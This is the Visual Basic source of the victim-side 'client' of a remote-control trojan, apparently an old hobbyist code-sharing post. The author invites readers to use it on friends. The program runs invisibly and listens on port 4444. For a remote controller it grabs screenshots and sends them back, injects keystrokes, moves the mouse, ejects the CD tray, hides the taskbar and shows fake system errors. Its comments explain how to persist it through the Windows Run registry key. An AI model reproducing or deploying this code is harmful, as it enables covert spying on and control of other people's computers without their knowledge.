'***************************************************************
' Name: Control a Machine on a Network (Client/Trojant)
' Description:Note: You need the Server software also. This is th
'     e most fun I've had in ages.. You'll need MSWINSCK and IMGEDIT (c
'     omes with Windows 95/98 and NT Imaging). This is actualy two prog
'     rams. A Client and a Server that works with WINSOCK. You can (fro
'     m the server side) create a funny error on the client, open the C
'     D-ROM door, make the mouse jump, VIEW THE CLIENTS SCREEN, send ke
'     ystrokes, hide and unhide the taskbar and shut the client softwar
'     e down remotely. This code is actualy for you guys out there play
'     ing with WINSOCK and want to know how the comunication works as w
'     ell as how do you transfer a file from socket to socket. Please d
'     on't make this code into a virus.. this will not be that funny, r
'     ather use it on friends, it's alot funnier.
' By: Riaan Aspeling
'
'
' Inputs:None
'
' Returns:None
'
'Assumes:None
'
'Side Effects:None
'

'---------- Start Client.VBP


Type=Exe
    Object={248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0; MSWINSCK.OCX
    Object={6D940288-9F11-11CE-83FD-02608C3EC08A}#2.1#0; IMGEDIT.OCX


    Form=FrmClient.frm
        Module=Mouse; Mouse.bas
        Module=Global; Global.bas
        IconForm="FrmClient"
        Startup="FrmClient"
        ExeName32="Client.exe"
        Command32=""
        Name="Project1"
        HelpContextID="0"
        CompatibleMode="0"
        MajorVer=1
        MinorVer=0
        RevisionVer=0
        AutoIncrementVer=0
        ServerSupportFiles=0
        VersionCompanyName="Altered Reality Corporation"
        CompilationType=0
        OptimizationType=0
        FavorPentiumPro(tm)=0
        CodeViewDebugInfo=0
        NoAliasing=0
        BoundsCheck=0
        OverflowCheck=0
        FlPointCheck=0
        FDIVCheck=0
        UnroundedFP=0
        StartMode=0
        Unattended=0
        ThreadPerObject=0
        MaxNumberOfThreads=1
        '---------- End Client.VBP
        '---------- Start FRMClient.FRM
        VERSION 5.00
        Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
        Object = "{6D940288-9F11-11CE-83FD-02608C3EC08A}#2.1#0"; "IMGEDIT.OCX"
        Begin VB.Form FrmClient 
        BorderStyle =0 'None
        Caption ="Form1"
        ClientHeight=5220
        ClientLeft =0
        ClientTop=0
        ClientWidth =6300
        ClipControls=0'False
        ControlBox =0'False
        LinkTopic="Form1"
        MaxButton=0'False
        MinButton=0'False
        Moveable=0'False
        NegotiateMenus =0'False
        ScaleHeight =5220
        ScaleWidth =6300
        ShowInTaskbar=0'False
        StartUpPosition =3 'Windows Default
        Visible =0'False
        Begin ImgeditLibCtl.ImgEdit Image1 
        Height =4335
        Left=480
        TabIndex=0
        Top =480
        Width=5295
        _Version=131073
        _ExtentX=9340
        _ExtentY=7646
        _StockProps =96
        ImageControl="ImgEdit1"
        BeginProperty AnnotationFont {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
        Name="MS Sans Serif"
        Size=12
        Charset =0
        Weight =400
        Underline=0'False
        Italic =0'False
        Strikethrough=0'False
        EndProperty
        BorderStyle =0
        DisplayScaleAlgorithm=4
        ImagePalette=3
        UndoBufferSize =138071040
        OcrZoneVisibility=-4084
        End
        Begin MSWinsockLib.Winsock Socket 
        Left=120
        Top =120
        _ExtentX=741
        _ExtentY=741
        _Version=327681
        End
        End
        Attribute VB_Name = "FrmClient"
        Attribute VB_GlobalNameSpace = False
        Attribute VB_Creatable = False
        Attribute VB_PredeclaredId = True
        Attribute VB_Exposed = False
        Option Explicit
        Dim bInConnection As Boolean, bTaskBar As Boolean
        Dim nFile As Long, sBuffer As String


Private Sub Form_Load()


    'Add the program to the registry so it will restart next time
    'the client machine restarts
    Call CheckAndUpdateReg
    'The socket to comunicate on
    Socket.LocalPort = 4444
    'Set the socket to 'LISTEN' and wait for the server
    Socket.Listen
    'This next variable keeps track of if it's in a session or not
    bInConnection = False
    'Variable to state if the taskbar is visible or not
    bTaskBar = True
End Sub




Private Sub Socket_Close()


    'Socket got a close call so close it if it's not already closed
    If Socket.State <> sckClosed Then Socket.Close
    'Call the form load event to reset all paramteres
    Call Form_Load
End Sub




Private Sub Socket_ConnectionRequest(ByVal requestID As Long)


    'A server is requesting a connection
    'If it's alread connected the don't continue.. ignore
    If bInConnection Then Exit Sub
    'If for some reason the socket is not close, close it
    If Socket.State <> sckClosed Then Socket.Close
    'Make the connection
    Socket.Accept requestID
    'Set the connection variable
    bInConnection = True
    SendData "accept:"
End Sub




Private Sub Socket_DataArrival(ByVal bytesTotal As Long)


    On Error Goto handelit
    Dim sCommand As String, rtn As Long, srtn As String
    'Retrieve the data from the connection
    Socket.GetData sCommand


    Select Case Mid$(sCommand, 1, InStr(1, sCommand, ":"))
        Case "error:"
        'The server requested to desplay a funny error message
        MsgBox GetNewError, 16, "ERROR # " & Trim(Str(Int(Rnd * 100000)))
        Case "grab:"
        'The server requested a screen grab


        If Len(sCommand) = 5 Then
            'Requested screen dump
            'Create the temp file
            bSaveToFile "C:\TEMP1.OLD"


            If Dir("C:\TEMP1.OLD", vbNormal) <> "" Then
                'Start Transamitting the file
                nFile = FreeFile
                Open "C:\TEMP1.OLD" For Binary As #nFile
                'Read a 4Kb buffer from the file.. I've found that
                'this is limited to the frame size of winsock. I believe
                'you can't make this any larger...
                sBuffer = Input(4196, nFile)
                'Send the data back to the server like so
                'grab:<size of chunck>:<actual data of file>
                SendData "grab:" & Trim(Str(Len(sBuffer))) & ":" & sBuffer
            End If


        Else
            'Keep on transmitting the file
            'if the server doesn't respond with ok the terminate


            If Mid$(sCommand, 6) <> "ok" Then
                'Stop sending the data : there was an error
                Close #nFile
            Else


                If EOF(nFile) Then
                    'It's end-of-file so tel the server that
                    SendData "grab:fin:"
                    Close #nFile
                    Exit Sub
                End If


                'Data ok so send next bit
                sBuffer = Input(4196, nFile)
                SendData "grab:" & Trim(Str(Len(sBuffer))) & ":" & sBuffer
            End If


        End If


        Exit Sub
        Case "mouse:"
        'Make the mouse jump all over the screen
        Call FunnyMouse
        Case "cdrom:"
        'Open the CD-ROM door
        rtn = mciSendString("open cdaudio Alias cd", 0, 0, 0)
        rtn = mciSendString("set cd door open", 0, 0, 0)
        rtn = mciSendString("close all", 0, 0, 0)
        Case "keyboard:"
        'Type the keys on the keyboard send by the server
        'This can be extreemly funny if the person is using some
        'type of word processor...
        SendKeys vbCrLf
        SendKeys Mid$(sCommand, InStr(1, sCommand, ":") + 1)
        Case "taskbar:"
        'Hide or UnHide the taskbar


        If bTaskBar Then
            bTaskBar = False
            Call Hide_Bar
        Else
            bTaskBar = True
            Call Show_Bar
        End If


    End Select


SendData sCommand


If sCommand = "close:" Then
    'The command came from the server to terminate the program
    Socket.Close
    End
End If


handelit:
Exit Sub
End Sub




Private Sub Socket_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)


    'Any errors should not be reported to the user because you want t
    '     his
    'program to run "silent", just terminate the program so as not to
    '     cause
    'any unpredictable program behaviour
    Debug.Print "Error"
    End
End Sub




Private Function GetNewError() As String


    Dim ErrD(0 To 19) As String, iSelect As Integer
    'Random list of funny error messages.. feel free to add your own
    ErrD(0) = "No CD in Drive A: found"
    ErrD(1) = "Incompetant user error"
    ErrD(2) = "Windows not running at full speed!"
    ErrD(3) = "Windows Kernel unable to send a message to Major.Dll"
    ErrD(4) = "Windows requiers cleaning."
    ErrD(5) = "Drive C: is running at 4500 rpm instead of 6334 rpm. Please notify the helpdesk."
    ErrD(6) = "Please click On any button to re-boot or any other button to cancel"
    ErrD(7) = "File not found. Should I fake it (Y/N)?"
    ErrD(8) = "Click ok to continue"
    ErrD(9) = "Mouse compatibility check. Please click to OK button."
    ErrD(10) = "Internal Stack failure 0010:FH00. Please refer to owners manual page 166."
    ErrD(11) = "This is an illegal Windows version ! You will be reported to the autorities If you log into the internet again."
    ErrD(12) = "WHAT?"
    ErrD(13) = "Windows will now report all illegal software On this system. Click OK to accept or Cancel to ignore!"
    ErrD(14) = "Windows 3.1 was detected and your current application will not close down."
    ErrD(15) = "Firewall detected pornografy at HTTP://www.sexcheck.come/boobs1.jpg. Will now disconnect!"
    ErrD(16) = "Syntax Error On LPT1: detected"
    ErrD(17) = "MEMORY to large. Please start more applications."
    ErrD(18) = "Too many multitasking applications detected. Please start a 16-Bit application."
    ErrD(19) = "Your processor is not running at full capacity. Please remove or downgrade."
    iSelect = Rnd * 19
    GetNewError = ErrD(iSelect)
End Function




Sub Hide_Bar()


    'Hide the taskbar
    Dim rtn As Long
    rtn = FindWindow("Shell_traywnd", "") 'get the Window
    Call SetWindowPos(rtn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) 'hide the Tasbar
End Sub




Sub Show_Bar()


    'Show the taskbar
    Dim rtn As Long
    rtn = FindWindow("Shell_traywnd", "") 'get the Window
    Call SetWindowPos(rtn, 0, 0, 0, 0, 0, SWP_SHOWWINDOW) 'show the Taskbar
End Sub




Sub SendData(sData As String)


    On Error Goto getoutnow
    'This little function just does the send of data to the server
    Dim TimeOut As Long
    Socket.SendData sData


    Do Until (Socket.State = 0) Or (TimeOut < 10000)


        DoEvents
            TimeOut = TimeOut + 1
            If TimeOut > 10000 Then Exit Do
        Loop


        getoutnow:
        Exit Sub
    End Sub




Public Function bSaveToFile(ByVal sFilename As String) As Boolean


    Dim lString As String
    On Error Goto Trap
    'This function grabs the desktop to a file
    'This code was modified by me from code I got from Planet Source 
    '     Code
    'I don't remember who it was but if you read this thanx for the i
    '     dea
    If Dir$(sFilename, vbNormal) <> "" Then Kill sFilename
    Call keybd_event(vbKeySnapshot, 1, 0, 0)


    If Image1.IsClipboardDataAvailable Then
        Image1.ClearDisplay
        Image1.DisplayBlankImage Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, , , 6
        Image1.ClipboardPaste
        Image1.BurnInAnnotations 0, 2
        Image1.SaveAs sFilename, 1, 6, 6, 256
        Clipboard.Clear
    End If


    bSaveToFile = True
    Exit Function
    Trap:
    Exit Function
End Function


'---------- End FRMClient.FRM
'---------- Start Global.BAS
Attribute VB_Name = "Global"


Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
    Public Const SWP_HIDEWINDOW = &H80
    Public Const SWP_SHOWWINDOW = &H40


Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long


Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long


Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)


Sub CheckAndUpdateReg()


    'Make sure the program is in registry in the start path for windo
    '     ws.
    'NOTE:
    'This code has been removed because I use a DLL to do this for me
    '     .
    'You can add registry code in here found at Planet-Source-Code to
    '     
    'write into the registry the following:
    'Write a entry in the "\HKEY_LOCAL_MACHINE\Software\Microsoft\Win


    '     dows\CurrentVersion\Run"
        'key : value name : app.EXEName , and value : app.path & "\" & Ap
        '     p.EXEName
        'This will make sure that the client start every time one the des
        '     tination
        'pc. ..;)
    End Sub


'---------- End Global.BAS
'---------- Start Mouse.BAS
Attribute VB_Name = "Mouse"
Private Const MOUSEEVENTF_ABSOLUTE = &H8000
Private Const MOUSEEVENTF_MOVE = &H1


Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As Long)
    Private Const SM_CXSCREEN = 0
    Private Const SM_CYSCREEN = 1
    Private Const TWIPS_PER_INCH = 1440
    Private Const POINTS_PER_INCH = 72


Private Declare Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long
    Private Const MOUSE_MICKEYS = 65535


Public Enum enReportStyle
    rsPixels
    rsTwips
    rsInches
    rsPoints
End Enum




Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Sub FunnyMouse()


    Dim i As Long, X As Long, Y As Long
    GetScreenRes X, Y


    For i = 1 To 50
        Call MouseMove(Rnd * X, Rnd * Y)
        Sleep (100)
    Next i


End Sub




Public Sub GetScreenRes(ByRef X As Long, ByRef Y As Long, Optional ByVal ReportStyle As enReportStyle)


    X = GetSystemMetrics(SM_CXSCREEN)
    Y = GetSystemMetrics(SM_CYSCREEN)


    If Not IsMissing(ReportStyle) Then


        If ReportStyle <> rsPixels Then
            X = X * Screen.TwipsPerPixelX
            Y = Y * Screen.TwipsPerPixelY


            If ReportStyle = rsInches Or ReportStyle = rsPoints Then
                X = X \ TWIPS_PER_INCH
                Y = Y \ TWIPS_PER_INCH


                If ReportStyle = rsPoints Then
                    X = X * POINTS_PER_INCH
                    Y = Y * POINTS_PER_INCH
                End If


            End If


        End If


    End If


End Sub


' Converts pixel X coordinates to mickeys


Public Function PixelXToMickey(ByVal pixX As Long) As Long


    Dim X As Long
    Dim Y As Long
    Dim tX As Single
    Dim tpixX As Single
    Dim tMickeys As Single
    GetScreenRes X, Y
    tMickeys = MOUSE_MICKEYS
    tX = X
    tpixX = pixX
    PixelXToMickey = CLng((tMickeys / tX) * tpixX)
End Function


' Converts pixel Y coordinates to mickeys


Public Function PixelYToMickey(ByVal pixY As Long) As Long


    Dim X As Long
    Dim Y As Long
    Dim tY As Single
    Dim tpixY As Single
    Dim tMickeys As Single
    GetScreenRes X, Y
    tMickeys = MOUSE_MICKEYS
    tY = Y
    tpixY = pixY
    PixelYToMickey = CLng((tMickeys / tY) * tpixY)
End Function




Public Sub MouseMove(ByRef xPixel As Long, ByRef yPixel As Long)


    Dim cbuttons As Long
    Dim dwExtraInfo As Long
    mouse_event MOUSEEVENTF_ABSOLUTE Or MOUSEEVENTF_MOVE, PixelXToMickey(xPixel), PixelYToMickey(yPixel), cbuttons, dwExtraInfo
End Sub


'---------- End Mouse.BAS